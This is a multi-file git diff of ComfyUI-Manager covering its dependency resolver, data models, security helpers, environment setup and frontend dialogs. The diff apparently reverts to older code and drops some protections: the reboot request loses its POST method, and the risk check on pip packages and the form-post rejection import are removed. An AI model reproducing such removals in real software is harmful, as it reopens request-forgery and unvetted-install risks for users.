||||
for m in option_re.finditer(line):
|
||||
# Text before this option is part of the package spec
|
||||
before = line[last_end:m.start()].strip()
|
||||
if before:
|
||||
remainder_tokens.append(before)
|
||||
urls.append(m.group(2))
|
||||
last_end = m.end()
|
||||
|
||||
# Trailing text after last option
|
||||
trailing = line[last_end:].strip()
|
||||
if trailing:
|
||||
remainder_tokens.append(trailing)
|
||||
|
||||
# Strip any bare option flags that leaked into remainder tokens
|
||||
# (e.g. "--index-url" with no URL value after it)
|
||||
remainder_tokens = [
|
||||
t for t in remainder_tokens if not bare_option_re.match(t)
|
||||
]
|
||||
|
||||
pkg_spec = " ".join(remainder_tokens).strip()
|
||||
return pkg_spec, urls
|
||||
|
||||
def _remap_package(self, pkg: str) -> str:
|
||||
"""Apply ``pip_overrides`` remapping."""
|
||||
if pkg in self.overrides:
|
||||
remapped = self.overrides[pkg]
|
||||
logger.info("[UnifiedDepResolver] '%s' remapped to '%s'", pkg, remapped)
|
||||
return remapped
|
||||
return pkg
|
||||
|
||||
@staticmethod
|
||||
def _extract_package_name(spec: str) -> str:
|
||||
"""Extract normalised package name from a requirement spec."""
|
||||
name = re.split(r'[><=!~;\[@ ]', spec)[0].strip()
|
||||
return name.lower().replace('-', '_')
|
||||
|
||||
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str,
|
||||
installed: dict) -> bool:
|
||||
"""Reproduce the downgrade logic from ``is_blacklisted()``.
|
||||
|
||||
Uses ``manager_util.StrictVersion`` — **not** ``packaging.version``.
|
||||
|
||||
Args:
|
||||
installed: Pre-fetched snapshot from
|
||||
``manager_util.get_installed_packages()``.
|
||||
"""
|
||||
if pkg_name not in self.downgrade_blacklist:
|
||||
return False
|
||||
|
||||
match = _VERSION_SPEC_PATTERN.search(pkg_spec)
|
||||
|
||||
if match is None:
|
||||
# No version spec: prevent reinstall if already installed
|
||||
if pkg_name in installed:
|
||||
return True
|
||||
elif match.group(2) in ('<=', '==', '<', '~='):
|
||||
if pkg_name in installed:
|
||||
try:
|
||||
installed_ver = manager_util.StrictVersion(installed[pkg_name])
|
||||
requested_ver = manager_util.StrictVersion(match.group(3))
|
||||
if installed_ver >= requested_ver:
|
||||
return True
|
||||
except (ValueError, TypeError):
|
||||
logger.warning(
|
||||
"[UnifiedDepResolver] version parse failed: %s", pkg_spec,
|
||||
)
|
||||
return False
|
||||
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Helpers — parsing & output
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _parse_conflicts(stderr: str) -> list[str]:
|
||||
"""Extract conflict descriptions from ``uv pip compile`` stderr."""
|
||||
conflicts: list[str] = []
|
||||
in_diagnostic = False
|
||||
for raw_line in stderr.splitlines():
|
||||
line = raw_line.strip()
|
||||
if line and ('conflict' in line.lower() or 'error' in line.lower()
|
||||
or (in_diagnostic and raw_line[0].isspace())):
|
||||
conflicts.append(line)
|
||||
in_diagnostic = True
|
||||
else:
|
||||
in_diagnostic = False
|
||||
return conflicts or [stderr.strip()] if stderr.strip() else []
|
||||
|
||||
@staticmethod
|
||||
def _parse_install_output(
|
||||
result: subprocess.CompletedProcess[str],
|
||||
) -> tuple[list[str], list[str]]:
|
||||
"""Parse ``uv pip install`` stdout for installed/skipped packages."""
|
||||
installed: list[str] = []
|
||||
skipped_pkgs: list[str] = []
|
||||
for line in result.stdout.splitlines():
|
||||
line_lower = line.strip().lower()
|
||||
if 'installed' in line_lower or 'updated' in line_lower:
|
||||
installed.append(line.strip())
|
||||
elif 'already' in line_lower or 'satisfied' in line_lower:
|
||||
skipped_pkgs.append(line.strip())
|
||||
return installed, skipped_pkgs
|
||||
|
||||
@staticmethod
|
||||
def _redact_url(url: str) -> str:
|
||||
"""Mask ``user:pass@`` credentials in URLs."""
|
||||
return _CREDENTIAL_PATTERN.sub('://****@', url)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Temp-file housekeeping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@classmethod
|
||||
def cleanup_stale_tmp(cls, max_age_seconds: int = 3600) -> None:
|
||||
"""Remove stale temp directories from previous abnormal terminations."""
|
||||
tmp_root = tempfile.gettempdir()
|
||||
now = time.time()
|
||||
for entry in os.scandir(tmp_root):
|
||||
if entry.is_dir() and entry.name.startswith(_TMP_PREFIX):
|
||||
try:
|
||||
age = now - entry.stat().st_mtime
|
||||
if age > max_age_seconds:
|
||||
shutil.rmtree(entry.path, ignore_errors=True)
|
||||
logger.info(
|
||||
"[UnifiedDepResolver] cleaned stale tmp: %s", entry.path,
|
||||
)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def attribute_conflicts(
|
||||
sources: dict[str, list[tuple[str, str]]],
|
||||
conflicts: list[str],
|
||||
) -> dict[str, list[tuple[str, str]]]:
|
||||
"""Cross-reference conflict packages with their requesting node packs.
|
||||
|
||||
Uses word-boundary regex to prevent false-positive prefix matches
|
||||
(e.g. ``torch`` does NOT match ``torchvision`` or ``torch_audio``).
|
||||
"""
|
||||
conflict_text = "\n".join(conflicts).lower().replace("-", "_")
|
||||
return {
|
||||
pkg: reqs
|
||||
for pkg, reqs in sources.items()
|
||||
if re.search(
|
||||
r'(?<![a-z0-9_])' + re.escape(pkg.lower().replace("-", "_")) + r'(?![a-z0-9_])',
|
||||
conflict_text,
|
||||
)
|
||||
}
|
||||
+330
-4657
File diff suppressed because it is too large
Load Diff
@@ -57,7 +57,7 @@ from .generated_models import (
|
||||
EnablePackParams,
|
||||
UpdateAllQueryParams,
|
||||
UpdateComfyUIQueryParams,
|
||||
ComfyUISwitchVersionParams,
|
||||
ComfyUISwitchVersionQueryParams,
|
||||
QueueStatus,
|
||||
ManagerMappings,
|
||||
ModelMetadata,
|
||||
@@ -70,6 +70,7 @@ from .generated_models import (
|
||||
InstallType,
|
||||
SecurityLevel,
|
||||
RiskLevel,
|
||||
NetworkMode
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
@@ -121,7 +122,7 @@ __all__ = [
|
||||
"EnablePackParams",
|
||||
"UpdateAllQueryParams",
|
||||
"UpdateComfyUIQueryParams",
|
||||
"ComfyUISwitchVersionParams",
|
||||
"ComfyUISwitchVersionQueryParams",
|
||||
"QueueStatus",
|
||||
"ManagerMappings",
|
||||
"ModelMetadata",
|
||||
@@ -134,4 +135,5 @@ __all__ = [
|
||||
"InstallType",
|
||||
"SecurityLevel",
|
||||
"RiskLevel",
|
||||
"NetworkMode",
|
||||
]
|
||||
@@ -1,6 +1,6 @@
|
||||
# generated by datamodel-codegen:
|
||||
# filename: openapi.yaml
|
||||
# timestamp: 2026-04-19T04:33:23+00:00
|
||||
# timestamp: 2025-11-01T04:21:38+00:00
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -57,7 +57,12 @@ class ManagerPackInstalled(BaseModel):
|
||||
description="The version of the pack that is installed (Git commit hash or semantic version)",
|
||||
)
|
||||
cnr_id: Optional[str] = Field(
|
||||
None, description="The name of the pack if installed from the registry"
|
||||
None,
|
||||
description="The name of the pack if installed from the registry (normalized lowercase)",
|
||||
)
|
||||
original_name: Optional[str] = Field(
|
||||
None,
|
||||
description="The original case-preserved name of the pack from the registry",
|
||||
)
|
||||
aux_id: Optional[str] = Field(
|
||||
None,
|
||||
@@ -107,6 +112,12 @@ class SecurityLevel(str, Enum):
|
||||
weak = "weak"
|
||||
|
||||
|
||||
class NetworkMode(str, Enum):
|
||||
public = "public"
|
||||
private = "private"
|
||||
offline = "offline"
|
||||
|
||||
|
||||
class RiskLevel(str, Enum):
|
||||
block = "block"
|
||||
high_ = "high+"
|
||||
@@ -155,8 +166,8 @@ class InstallPackParams(ManagerPackInfo):
|
||||
description="GitHub repository URL (required if selected_version is nightly)",
|
||||
)
|
||||
pip: Optional[List[str]] = Field(None, description="PyPi dependency names")
|
||||
mode: ManagerDatabaseSource
|
||||
channel: ManagerChannel
|
||||
mode: Optional[ManagerDatabaseSource] = None
|
||||
channel: Optional[ManagerChannel] = None
|
||||
skip_post_install: Optional[bool] = Field(
|
||||
None, description="Whether to skip post-installation steps"
|
||||
)
|
||||
@@ -229,8 +240,8 @@ class UpdateComfyUIQueryParams(BaseModel):
|
||||
)
|
||||
|
||||
|
||||
class ComfyUISwitchVersionParams(BaseModel):
|
||||
ver: str = Field(..., description="Target ComfyUI version tag")
|
||||
class ComfyUISwitchVersionQueryParams(BaseModel):
|
||||
ver: str = Field(..., description="Version to switch to")
|
||||
client_id: str = Field(
|
||||
..., description="Client identifier that initiated the request"
|
||||
)
|
||||
@@ -406,9 +417,7 @@ class ComfyUISystemState(BaseModel):
|
||||
)
|
||||
manager_version: Optional[str] = Field(None, description="ComfyUI Manager version")
|
||||
security_level: Optional[SecurityLevel] = None
|
||||
network_mode: Optional[str] = Field(
|
||||
None, description="Network mode (online, offline, private)"
|
||||
)
|
||||
network_mode: Optional[NetworkMode] = None
|
||||
cli_args: Optional[Dict[str, Any]] = Field(
|
||||
None, description="Selected ComfyUI CLI arguments"
|
||||
)
|
||||
@@ -479,13 +488,13 @@ class QueueTaskItem(BaseModel):
|
||||
params: Union[
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
ModelMetadata,
|
||||
UpdateComfyUIParams,
|
||||
UpdateAllPacksParams,
|
||||
]
|
||||
|
||||
|
||||
@@ -502,22 +511,6 @@ class TaskHistoryItem(BaseModel):
|
||||
end_time: Optional[datetime] = Field(
|
||||
None, description="ISO timestamp when task execution ended"
|
||||
)
|
||||
params: Optional[
|
||||
Union[
|
||||
InstallPackParams,
|
||||
UpdatePackParams,
|
||||
UpdateAllPacksParams,
|
||||
UpdateComfyUIParams,
|
||||
FixPackParams,
|
||||
UninstallPackParams,
|
||||
DisablePackParams,
|
||||
EnablePackParams,
|
||||
ModelMetadata,
|
||||
]
|
||||
] = Field(
|
||||
None,
|
||||
description="Original task parameters (mirrors QueueTaskItem.params); null if unavailable",
|
||||
)
|
||||
|
||||
|
||||
class TaskStateMessage(BaseModel):
|
||||
|
||||
+922
-7718
File diff suppressed because it is too large
Load Diff
+5317
-7517
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,11 @@
|
||||
|
||||
SECURITY_MESSAGE_MIDDLE = "ERROR: To use this action, a security_level of `normal or below` is required. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_MIDDLE_P = "ERROR: To use this action, security_level must be `normal or below`, and network_mode must be set to `personal_cloud`. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS = "ERROR: To use this feature, you must either set '--listen' to a local IP and set the security level to 'normal-' or lower, or set the security level to 'middle' or 'weak'. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_GENERAL = "ERROR: This installation is not allowed in this security_level. Please contact the administrator.\nReference: https://github.com/ltdrdata/ComfyUI-Manager#security-policy"
|
||||
SECURITY_MESSAGE_NORMAL_MINUS_MODEL = "ERROR: Downloading models that are not in '.safetensors' format is only allowed for models registered in the 'default' channel at this security level. If you want to download this model, set the security level to 'normal-' or lower."
|
||||
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
|
||||
|
||||
+1703
-2071
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,10 +1,12 @@
|
||||
import os
|
||||
from comfyui_manager.common.git_compat import open_repo, setup_git_environment
|
||||
import git
|
||||
import logging
|
||||
import traceback
|
||||
|
||||
from comfyui_manager.common import context
|
||||
import folder_paths
|
||||
from comfy.cli_args import args
|
||||
import latent_preview
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfyui_manager.common import cm_global
|
||||
@@ -20,17 +22,17 @@ def print_comfyui_version():
|
||||
|
||||
is_detached = False
|
||||
try:
|
||||
with open_repo(os.path.dirname(folder_paths.__file__)) as repo:
|
||||
core.comfy_ui_revision = repo.iter_commits_count()
|
||||
repo = git.Repo(os.path.dirname(folder_paths.__file__))
|
||||
core.comfy_ui_revision = len(list(repo.iter_commits("HEAD")))
|
||||
|
||||
comfy_ui_hash = repo.head_commit_hexsha
|
||||
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
|
||||
comfy_ui_hash = repo.head.commit.hexsha
|
||||
cm_global.variables["comfyui.revision"] = core.comfy_ui_revision
|
||||
|
||||
core.comfy_ui_commit_datetime = repo.head_commit_datetime
|
||||
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
|
||||
core.comfy_ui_commit_datetime = repo.head.commit.committed_datetime
|
||||
cm_global.variables["comfyui.commit_datetime"] = core.comfy_ui_commit_datetime
|
||||
|
||||
is_detached = repo.head_is_detached
|
||||
current_branch = repo.active_branch_name
|
||||
is_detached = repo.head.is_detached
|
||||
current_branch = repo.active_branch.name
|
||||
|
||||
comfyui_tag = context.get_comfyui_tag()
|
||||
|
||||
@@ -91,23 +93,24 @@ def print_comfyui_version():
|
||||
)
|
||||
|
||||
|
||||
ALLOWED_UPDATE_POLICIES = ("stable", "stable-comfyui", "nightly", "nightly-comfyui")
|
||||
ALLOWED_DB_MODES = ("cache", "channel", "local", "remote")
|
||||
def set_preview_method(method):
|
||||
if method == "auto":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Auto
|
||||
elif method == "latent2rgb":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.Latent2RGB
|
||||
elif method == "taesd":
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.TAESD
|
||||
else:
|
||||
args.preview_method = latent_preview.LatentPreviewMethod.NoPreviews
|
||||
|
||||
core.get_config()["preview_method"] = method
|
||||
|
||||
|
||||
def set_update_policy(mode):
|
||||
if mode not in ALLOWED_UPDATE_POLICIES:
|
||||
raise ValueError(
|
||||
f"Invalid update_policy {mode!r}; must be one of {ALLOWED_UPDATE_POLICIES}"
|
||||
)
|
||||
core.get_config()["update_policy"] = mode
|
||||
|
||||
|
||||
def set_db_mode(mode):
|
||||
if mode not in ALLOWED_DB_MODES:
|
||||
raise ValueError(
|
||||
f"Invalid db_mode {mode!r}; must be one of {ALLOWED_DB_MODES}"
|
||||
)
|
||||
core.get_config()["db_mode"] = mode
|
||||
|
||||
|
||||
@@ -115,7 +118,7 @@ def setup_environment():
|
||||
git_exe = core.get_config()["git_exe"]
|
||||
|
||||
if git_exe != "":
|
||||
setup_git_environment(git_exe)
|
||||
git.Git().update_environment(GIT_PYTHON_GIT_EXECUTABLE=git_exe)
|
||||
|
||||
|
||||
def initialize_environment():
|
||||
@@ -132,6 +135,7 @@ def initialize_environment():
|
||||
# manager_util.comfyui_manager_path, "extension-node-map.json"
|
||||
# )
|
||||
|
||||
set_preview_method(core.get_config()["preview_method"])
|
||||
print_comfyui_version()
|
||||
setup_environment()
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
import locale
|
||||
import sys
|
||||
import re
|
||||
|
||||
|
||||
def handle_stream(stream, prefix):
|
||||
@@ -19,3 +20,41 @@ def handle_stream(stream, prefix):
|
||||
print(prefix, msg, end="", file=sys.stderr)
|
||||
else:
|
||||
print(prefix, msg, end="")
|
||||
|
||||
|
||||
def convert_markdown_to_html(input_text):
|
||||
pattern_a = re.compile(r"\[a/([^]]+)]\(([^)]+)\)")
|
||||
pattern_w = re.compile(r"\[w/([^]]+)]")
|
||||
pattern_i = re.compile(r"\[i/([^]]+)]")
|
||||
pattern_bold = re.compile(r"\*\*([^*]+)\*\*")
|
||||
pattern_white = re.compile(r"%%([^*]+)%%")
|
||||
|
||||
def replace_a(match):
|
||||
return f"<a href='{match.group(2)}' target='blank'>{match.group(1)}</a>"
|
||||
|
||||
def replace_w(match):
|
||||
return f"<p class='cm-warn-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_i(match):
|
||||
return f"<p class='cm-info-note'>{match.group(1)}</p>"
|
||||
|
||||
def replace_bold(match):
|
||||
return f"<B>{match.group(1)}</B>"
|
||||
|
||||
def replace_white(match):
|
||||
return f"<font color='white'>{match.group(1)}</font>"
|
||||
|
||||
input_text = (
|
||||
input_text.replace("\\[", "[")
|
||||
.replace("\\]", "]")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
)
|
||||
|
||||
result_text = re.sub(pattern_a, replace_a, input_text)
|
||||
result_text = re.sub(pattern_w, replace_w, result_text)
|
||||
result_text = re.sub(pattern_i, replace_i, result_text)
|
||||
result_text = re.sub(pattern_bold, replace_bold, result_text)
|
||||
result_text = re.sub(pattern_white, replace_white, result_text)
|
||||
|
||||
return result_text.replace("\n", "<BR>")
|
||||
|
||||
@@ -17,25 +17,6 @@ def get_model_dir(data, show_log=False):
|
||||
if any(char in data["filename"] for char in {"/", "\\", ":"}):
|
||||
return None
|
||||
|
||||
def resolve_custom_node(save_path):
|
||||
save_path = save_path[13:] # remove 'custom_nodes/'
|
||||
|
||||
# NOTE: Validate to prevent path traversal.
|
||||
if save_path.startswith(os.path.sep) or ":" in save_path:
|
||||
return None
|
||||
|
||||
repo_name = save_path.replace("\\", "/").split("/")[
|
||||
0
|
||||
] # get custom node repo name
|
||||
|
||||
# NOTE: The creation of files within the custom node path should be removed in the future.
|
||||
repo_path = core.lookup_installed_custom_nodes_legacy(repo_name)
|
||||
if repo_path is not None and repo_path[0]:
|
||||
# Returns the retargeted path based on the actually installed repository
|
||||
return os.path.join(os.path.dirname(repo_path[1]), save_path)
|
||||
else:
|
||||
return None
|
||||
|
||||
if data["save_path"] != "default":
|
||||
if ".." in data["save_path"] or data["save_path"].startswith("/"):
|
||||
if show_log:
|
||||
@@ -45,13 +26,8 @@ def get_model_dir(data, show_log=False):
|
||||
base_model = os.path.join(models_base, "etc")
|
||||
else:
|
||||
if data["save_path"].startswith("custom_nodes"):
|
||||
base_model = resolve_custom_node(data["save_path"])
|
||||
if base_model is None:
|
||||
if show_log:
|
||||
logging.info(
|
||||
f"[ComfyUI-Manager] The target custom node for model download is not installed: {data['save_path']}"
|
||||
)
|
||||
return None
|
||||
logging.warning("The feature to download models into the custom node path is no longer supported.")
|
||||
return None
|
||||
else:
|
||||
base_model = os.path.join(models_base, data["save_path"])
|
||||
else:
|
||||
|
||||
@@ -1,65 +0,0 @@
|
||||
import concurrent.futures
|
||||
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
|
||||
|
||||
def check_state_of_git_node_pack(
|
||||
node_packs, do_fetch=False, do_update_check=True, do_update=False
|
||||
):
|
||||
if do_fetch:
|
||||
print("Start fetching...", end="")
|
||||
elif do_update:
|
||||
print("Start updating...", end="")
|
||||
elif do_update_check:
|
||||
print("Start update check...", end="")
|
||||
|
||||
def process_custom_node(item):
|
||||
core.check_state_of_git_node_pack_single(
|
||||
item, do_fetch, do_update_check, do_update
|
||||
)
|
||||
|
||||
with concurrent.futures.ThreadPoolExecutor(4) as executor:
|
||||
for k, v in node_packs.items():
|
||||
if v.get("active_version") in ["unknown", "nightly"]:
|
||||
executor.submit(process_custom_node, v)
|
||||
|
||||
if do_fetch:
|
||||
print("\x1b[2K\rFetching done.")
|
||||
elif do_update:
|
||||
update_exists = any(
|
||||
item.get("updatable", False) for item in node_packs.values()
|
||||
)
|
||||
if update_exists:
|
||||
print("\x1b[2K\rUpdate done.")
|
||||
else:
|
||||
print("\x1b[2K\rAll extensions are already up-to-date.")
|
||||
elif do_update_check:
|
||||
print("\x1b[2K\rUpdate check done.")
|
||||
|
||||
|
||||
def nickname_filter(json_obj):
|
||||
preemptions_map = {}
|
||||
|
||||
for k, x in json_obj.items():
|
||||
if "preemptions" in x[1]:
|
||||
for y in x[1]["preemptions"]:
|
||||
preemptions_map[y] = k
|
||||
elif k.endswith("/ComfyUI"):
|
||||
for y in x[0]:
|
||||
preemptions_map[y] = k
|
||||
|
||||
updates = {}
|
||||
for k, x in json_obj.items():
|
||||
removes = set()
|
||||
for y in x[0]:
|
||||
k2 = preemptions_map.get(y)
|
||||
if k2 is not None and k != k2:
|
||||
removes.add(y)
|
||||
|
||||
if len(removes) > 0:
|
||||
updates[k] = [y for y in x[0] if y not in removes]
|
||||
|
||||
for k, v in updates.items():
|
||||
json_obj[k][0] = v
|
||||
|
||||
return json_obj
|
||||
@@ -1,22 +1,14 @@
|
||||
from comfyui_manager.glob import manager_core as core
|
||||
from comfy.cli_args import args
|
||||
from comfyui_manager.data_models import SecurityLevel, RiskLevel, ManagerDatabaseSource
|
||||
from comfyui_manager.common.manager_security import (
|
||||
is_loopback,
|
||||
is_safe_path_target,
|
||||
get_safe_file_path,
|
||||
reject_simple_form_post,
|
||||
)
|
||||
from comfyui_manager.data_models import SecurityLevel, RiskLevel
|
||||
|
||||
# Re-export for backward compatibility
|
||||
__all__ = [
|
||||
'is_loopback',
|
||||
'is_safe_path_target',
|
||||
'get_safe_file_path',
|
||||
'reject_simple_form_post',
|
||||
'is_allowed_security_level',
|
||||
'get_risky_level',
|
||||
]
|
||||
|
||||
def is_loopback(address):
|
||||
import ipaddress
|
||||
try:
|
||||
return ipaddress.ip_address(address).is_loopback
|
||||
except ValueError:
|
||||
return False
|
||||
|
||||
|
||||
def is_allowed_security_level(level):
|
||||
@@ -46,30 +38,3 @@ def is_allowed_security_level(level):
|
||||
return core.get_config()['security_level'] in [SecurityLevel.weak.value, SecurityLevel.normal.value, SecurityLevel.normal_.value]
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
async def get_risky_level(files, pip_packages):
|
||||
json_data1 = await core.get_data_by_mode(ManagerDatabaseSource.local.value, "custom-node-list.json")
|
||||
json_data2 = await core.get_data_by_mode(
|
||||
ManagerDatabaseSource.cache.value,
|
||||
"custom-node-list.json",
|
||||
channel_url="https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main",
|
||||
)
|
||||
|
||||
all_urls = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_urls.update(x.get("files", []))
|
||||
|
||||
for x in files:
|
||||
if x not in all_urls:
|
||||
return RiskLevel.high_.value
|
||||
|
||||
all_pip_packages = set()
|
||||
for x in json_data1["custom_nodes"] + json_data2["custom_nodes"]:
|
||||
all_pip_packages.update(x.get("pip", []))
|
||||
|
||||
for p in pip_packages:
|
||||
if p not in all_pip_packages:
|
||||
return RiskLevel.block.value
|
||||
|
||||
return RiskLevel.middle_.value
|
||||
|
||||
@@ -13,7 +13,7 @@ This directory contains the JavaScript frontend implementation for ComfyUI-Manag
|
||||
## Sharing Components
|
||||
|
||||
- **comfyui-share-common.js**: Base functionality for workflow sharing features.
|
||||
- **comfyui-share-copus.js**: Integration with the ComfyUI Copus sharing platform.
|
||||
- **comfyui-share-copus.js**: Integration with the ComfyUI Opus sharing platform.
|
||||
- **comfyui-share-openart.js**: Integration with the OpenArt sharing platform.
|
||||
- **comfyui-share-youml.js**: Integration with the YouML sharing platform.
|
||||
|
||||
@@ -47,4 +47,4 @@ CSS files are included for specific components:
|
||||
- **custom-nodes-manager.css**: Styling for the node management UI
|
||||
- **model-manager.css**: Styling for the model management UI
|
||||
|
||||
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
|
||||
This frontend implementation provides a comprehensive yet user-friendly interface for managing the ComfyUI ecosystem.
|
||||
@@ -52,7 +52,7 @@ async function tryInstallCustomNode(event) {
|
||||
}
|
||||
}
|
||||
|
||||
let response = await api.fetchApi("/v2/manager/reboot", { method: 'POST' });
|
||||
let response = await api.fetchApi("/v2/manager/reboot");
|
||||
if(response.status == 403) {
|
||||
show_message('This action is not allowed with this security level configuration.');
|
||||
return false;
|
||||
|
||||
@@ -1,227 +0,0 @@
|
||||
import { $el } from "../../scripts/ui.js";
|
||||
|
||||
function normalizeContent(content) {
|
||||
const tmp = document.createElement('div');
|
||||
if (typeof content === 'string') {
|
||||
tmp.innerHTML = content;
|
||||
return Array.from(tmp.childNodes);
|
||||
}
|
||||
if (content instanceof Node) {
|
||||
return content;
|
||||
}
|
||||
return content;
|
||||
}
|
||||
|
||||
export function createSettingsCombo(label, content) {
|
||||
const settingItem = $el("div.setting-item", {}, [
|
||||
$el("div.flex.flex-row.items-center.gap-2",[
|
||||
$el("div.form-label.flex.grow.items-center", [
|
||||
$el("span.text-muted", { textContent: label },)
|
||||
]),
|
||||
$el("div.form-input.flex.justify-end",
|
||||
[content]
|
||||
)
|
||||
]
|
||||
)
|
||||
]);
|
||||
return settingItem;
|
||||
}
|
||||
|
||||
export function buildGuiFrame(dialogId, title, iconClass, content, owner) {
|
||||
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
|
||||
parent: document.body,
|
||||
style: {
|
||||
position: "fixed",
|
||||
height: "100%",
|
||||
width: "100%",
|
||||
left: "0px",
|
||||
top: "0px",
|
||||
display: "flex",
|
||||
justifyContent: "center",
|
||||
alignItems: "center",
|
||||
pointerEvents: "auto",
|
||||
zIndex: "1000"
|
||||
},
|
||||
onclick: (e) => {
|
||||
if (e.target === dialog_mask) {
|
||||
owner.close();
|
||||
}
|
||||
}
|
||||
// data-pc-section="mask"
|
||||
});
|
||||
|
||||
const header_actions = $el("div.p-dialog-header-actions", {
|
||||
// [TODO]
|
||||
// data-pc-section="headeractions"
|
||||
}
|
||||
);
|
||||
|
||||
const close_button = $el("button.p-button.p-component.p-button-icon-only.p-button-secondary.p-button-rounded.p-button-text.p-dialog-close-button", {
|
||||
parent: header_actions,
|
||||
type: "button",
|
||||
ariaLabel: "Close",
|
||||
onclick: () => owner.close(),
|
||||
// "data-pc-name": "pcclosebutton",
|
||||
// "data-p-disabled": "false",
|
||||
// "data-p-severity": "secondary",
|
||||
// "data-pc-group-section": "headericon",
|
||||
// "data-pc-extend": "button",
|
||||
// "data-pc-section": "root",
|
||||
// [FIXME] Not sure how to do most of the SVG using $el
|
||||
innerHTML: '<svg width="14" height="14" viewBox="0 0 14 14" fill="none" xmlns="http://www.w3.org/2000/svg" class="p-icon p-button-icon" aria-hidden="true"><path d="M8.01186 7.00933L12.27 2.75116C12.341 2.68501 12.398 2.60524 12.4375 2.51661C12.4769 2.42798 12.4982 2.3323 12.4999 2.23529C12.5016 2.13827 12.4838 2.0419 12.4474 1.95194C12.4111 1.86197 12.357 1.78024 12.2884 1.71163C12.2198 1.64302 12.138 1.58893 12.0481 1.55259C11.9581 1.51625 11.8617 1.4984 11.7647 1.50011C11.6677 1.50182 11.572 1.52306 11.4834 1.56255C11.3948 1.60204 11.315 1.65898 11.2488 1.72997L6.99067 5.98814L2.7325 1.72997C2.59553 1.60234 2.41437 1.53286 2.22718 1.53616C2.03999 1.53946 1.8614 1.61529 1.72901 1.74767C1.59663 1.88006 1.5208 2.05865 1.5175 2.24584C1.5142 2.43303 1.58368 2.61419 1.71131 2.75116L5.96948 7.00933L1.71131 11.2675C1.576 11.403 1.5 11.5866 1.5 11.7781C1.5 11.9696 1.576 12.1532 1.71131 12.2887C1.84679 12.424 2.03043 12.5 2.2219 12.5C2.41338 12.5 2.59702 12.424 2.7325 12.2887L6.99067 8.03052L11.2488 12.2887C11.3843 12.424 11.568 12.5 11.7594 12.5C11.9509 12.5 12.1346 12.424 12.27 12.2887C12.4053 12.1532 12.4813 11.9696 12.4813 11.7781C12.4813 11.5866 12.4053 11.403 12.27 11.2675L8.01186 7.00933Z" fill="currentColor"></path></svg><span class="p-button-label" data-pc-section="label"> </span><!---->'
|
||||
}
|
||||
);
|
||||
|
||||
const dialog_header = $el("div.p-dialog-header",
|
||||
[
|
||||
$el("div", [
|
||||
$el("div",
|
||||
{
|
||||
id: "frame-title-container",
|
||||
},
|
||||
[
|
||||
$el("h2.px-4", [
|
||||
$el(iconClass, {
|
||||
style: {
|
||||
"font-size": "1.25rem",
|
||||
"margin-right": ".5rem"
|
||||
}
|
||||
}),
|
||||
$el("span", { textContent: title })
|
||||
])
|
||||
]
|
||||
)
|
||||
]),
|
||||
header_actions
|
||||
]
|
||||
);
|
||||
|
||||
const contentFrame = $el("div.p-dialog-content", {}, normalizeContent(content));
|
||||
const manager_dialog = $el("div.p-dialog.p-component.global-dialog", {
|
||||
id: dialogId,
|
||||
parent: dialog_mask,
|
||||
style: {
|
||||
'display': 'flex',
|
||||
'flex-direction': 'column',
|
||||
'pointer-events': 'auto',
|
||||
'margin': '0px',
|
||||
},
|
||||
role: 'dialog',
|
||||
ariaModal: 'true',
|
||||
// [TODO]
|
||||
// ariaLabbelledby: 'cm-title',
|
||||
// maximized: 'false',
|
||||
// data-pc-name: 'dialog',
|
||||
// data-pc-section: 'root',
|
||||
// data-pd-focustrap: 'true'
|
||||
},
|
||||
[ dialog_header, contentFrame ]
|
||||
);
|
||||
|
||||
const hidden_accessible = $el("span.p-hidden-accessible.p-hidden-focusable", {
|
||||
parent: manager_dialog,
|
||||
tabindex: "0",
|
||||
role: "presentation",
|
||||
ariaHidden: "true",
|
||||
"data-p-hidden-accessible": "true",
|
||||
"data-p-hidden-focusable": "true",
|
||||
"data-pc-section": "firstfocusableelement"
|
||||
});
|
||||
|
||||
return dialog_mask;
|
||||
}
|
||||
|
||||
export function buildGuiFrameCustomHeader(dialogId, customHeader, content, owner) {
|
||||
const dialog_mask = $el("div.p-dialog-mask.p-overlay-mask.p-overlay-mask-enter", {
|
||||
parent: document.body,
|
||||
style: {
|
||||
position: "fixed",
|
||||
height: "100%",
|
||||
width: "100%",
|
||||
left: "0px",
|
||||
top: "0px",
|
||||
display: "flex",
|
||||
